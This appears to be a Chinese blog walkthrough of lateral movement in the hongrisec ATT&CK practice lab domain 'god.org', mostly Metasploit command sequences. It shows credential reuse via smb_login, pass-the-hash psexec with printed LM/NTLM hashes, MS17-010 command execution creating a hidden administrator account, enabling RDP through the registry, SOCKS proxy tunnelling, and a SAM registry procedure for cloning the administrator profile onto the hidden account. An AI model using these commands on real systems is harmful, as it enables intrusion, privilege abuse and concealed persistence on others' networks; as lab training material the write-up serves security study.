内网横向渗透 之 ATT&CK系列一 之 横向渗透域主机
前言
上一篇文章中已获取了关于域的一些基本信息,在这里再整理一下,不知道信息收集的小伙伴可以看回上一篇文章哦
域:god.org
域控 windows server 2008:OWA,192.168.52.138
域主机 windows server 2003:ROOT-TVI862UBEH,192.168.52.141
win7内网ip:192.168.52.143
win7 username : Administrator domain : GOD password : hongrisec@2022(因为登陆域控机win2008的时候会要求改密码,我这个改成hongrisec@2022)
LM:edea194d76c77d87923b4276177762ae;NTLM:8c535a2d84c3b21059d667639bb89db5
横向渗透
通过win7的nmap对域成员进行漏洞端口扫描,使用 where nmap 可以得到nmap的安装路径
nmap.exe --script=vuln 192.168.52.141
存在ms08-067(CVE-2008-4250)、ms17-010(CVE-2017-0143)
配置路由信息
1 meterpreter > run autoroute -s 192.168.52.0/255.255.255.0
使用 scanner/smb/smb_login 验证SMB登录
use scanner/smb/smb_login
set RHOSTS 192.168.52.141
set SMBPass hongrisec@2022
set SMBUSER Administrator
set SMBDomain GOD
run
说明win7的账号密码对域成员也有效
至此,域成员存在漏洞,且知道用户名、密码、域,使用漏洞进行渗透获取域内使用权限
因为是内网windows系统,这里我选择用哈希传递攻击,使用的模块是 exploit/windows/smb/psexec
use exploit/windows/smb/psexec
set payload windows/shell/bind_tcp
set RHOSTS 192.168.52.141
set SMBDomain god
set SMBUser Administrator
set SMBPass edea194d76c77d87923b4276177762ae:8c535a2d84c3b21059d667639bb89db5 # 这里是用哈希密码传递,冒号前面的是LM哈希值,冒号后面的是NTLM哈希值
run
查看权限 whoami
可以看到,是管理员的最高权限,这里就不需要提权了,至此,域主机已被攻破!
拿下域成员的第二种姿势
配置路由信息
1 meterpreter > run autoroute -s 192.168.52.0/255.255.255.0
使用auxiliary/scanner/portscan/tcp模块进行域成员的端口扫描
1 use auxiliary/scanner/portscan/tcp
2 set rhosts 192.168.52.141
3 set ports 445
4 run
扫描445端口是否开启
说明445端口开启,使用ms17-010永恒之蓝模块
1 use auxiliary/scanner/smb/smb_ms17_010
2 set rhosts 192.168.52.141
3 run
扫描是否存在永恒之蓝漏洞
证明存在永恒之蓝漏洞,由于模块exploit/windows/smb/ms17_010_eternalblue 只支持x64,而我们的内网域成员系统是x86,故不能使用该模块
我们选择命令行执行模块auxiliary/admin/smb/ms17_010_command,创建新用户并进行远程登录。
1 use auxiliary/admin/smb/ms17_010_command
1 创建用户
2 set command 'net user spmonkey$ spmonkey@123 /add' # 带$代表创建隐藏用户,为的是不让目标发现咱们
3 set rhosts 192.168.52.141
4 run
可以看到,创建成功了,提升权限至管理员组,在这个基础上直接运行下面命令
1 提升权限
2 set command net localgroup administrators spmonkey$ /add
3 run
可以看到,命令执行成功了。
使用windows命令net user可以看到所有用户:
发现并没有刚才咱们创建的用户,是真的没有吗?不,因为我们创建的是隐藏用户,所以命令行命令是无法看到咱们刚才创建的新用户的,可以使用远程登录看一下是否创建成功。
1 开启远程桌面服务
2 set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
3 run
启动成功,搭建代理隧道:
1 use auxiliary/server/socks_proxy
2 set srvhost 192.168.200.128
3 run
vim /etc/proxychains.conf 添加如下内容:
socks5 192.168.200.128 1080
通过命令远程登录桌面:proxychains rdesktop 192.168.52.141
成功进入系统。
虽然我们在使用 net user 命令时没有看到我们的账号,但是在计算机管理依旧可以看到我们的账号。
所以我们需要进一步隐藏用户。
注册表隐藏法:
一、给管理员注册表权限
1、开始 -> 运行
2、输入 regedt32.exe 回车,进入注册表
3、依次点击 HKEY_LOCAL_MACHINE\SAM\SAM 后右键,选择 Permissions
4、选择 administrators 账户,勾选 Full Control 最后点击应用 + 确定
重新打开注册表后就可以看到SAM下的其他目录了。
二、将隐藏账户替换成管理员
1、依次点击 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
2、选择咱们的隐藏用户 "spmonkey$",在右边显示的键值中的"类型"一项显示为 0x3f2,向上来到 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 处,可以找到 000003F2 这一项,这两者是相互对应的,隐藏账户 "spmonkey$" 的所有信息都在"000003F2"这一项中。同样的,我们可以找到"administrator"账户所对应的项为"000001F4"。
3、将 "spmonkey$" 的键值导出为spmonkey$.reg,同时将"000003F2"和"000001F4"项的F键值分别导出为user.reg,admin.reg。
4、用"记事本"打开admin.reg,将其中"F"值后面的内容复制下来,替换user.reg中的"F"值内容,完成后保存。接下来进入"命令提示符",输入"net user piao$ /del"将我们建立的隐藏账户删除。最后,将piao$.reg和user.reg导入注册表,至此,隐藏账户制作完成。
三、取消管理员注册表的权限
这里和第一个操作一样,取消 Full Control 的勾选就可以了
尾声
至此隐藏用户就生成好了。这里所涉及到的知识点比较多,各位读者不懂的可以联系作者QQ:1015468607 备注好自己的来意喔!
彩蛋
域主机 windows server 2003 存在ms17-010漏洞,可以通过ms17-010漏洞进行攻击
注:msfconsole中的ms17_010_eternalblue模块仅支持x64,而咱们的目标域主机是x86的,所以这里不适用
使用模块 ms17_010_psexec 进行攻击,这里选择这个模块的原因:在域内,且存在ms17-010漏洞
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.52.141
set SMBDomain GOD
set SMBPass edea194d76c77d87923b4276177762ae:8c535a2d84c3b21059d667639bb89db5
set SMBUser Administrator
run
域主机蓝屏
msfconsole报错
至此攻击成功,没有反弹shell,因为目标域主机已蓝屏!
最新文章
- web自动化测试中绕开验证码登陆的方式
- jQuery插件-表单验证插件-Validation
- Object类型与Array类型
- jQuery组件系列:封装标签页(Tabs)
- Odoo constraints 使用教程
- 如何在使用了updatepanel后弹出提示信息
- 洛谷 P1063 能量项链
- 【动态规划】POJ 1161 &; ZOJ1463 &; XMU 1033 Brackets sequence
- Android ActionBar详解(三):ActionBar实现切换Tabs标签
- C# - 线程操作
- Hibernate(四)
- 从Openvswitch代码看网络包的旅程
- 关于 Expression is not assignable 错误
- python中变量命名的基本规则,标识符和关键字
- Android 数据存储03之SQLite
- 短网址(short URL)系统的原理及其实现
- 2018.09.09 cogs693. Antiprime数(搜索)
- DruidDataSource配置
- spring-security-4 (1)介绍
- SVG与HTML、JavaScript的三种调用方式
热门文章
- IDEA 开发工具-插件{[转载]
- 【RocketMQ】消息的消费
- Charles 某音最新版本抓包环境搭建
- 参考MySQL Internals手册,使用Golang写一个简单解析binlog的程序
- 正则表达式实战:最新豆瓣top250爬虫超详细教程
- 新一代大数据任务调度系统 - Apache DolphinScheduler 1.3.4 发布,推荐下载
- django中的自定义分页器
- Unity获取脚本的CustomEditor(自定义编辑)数据
- 10种有用的Linux Bash_Completion 命令示例
- js运算符和逻辑分支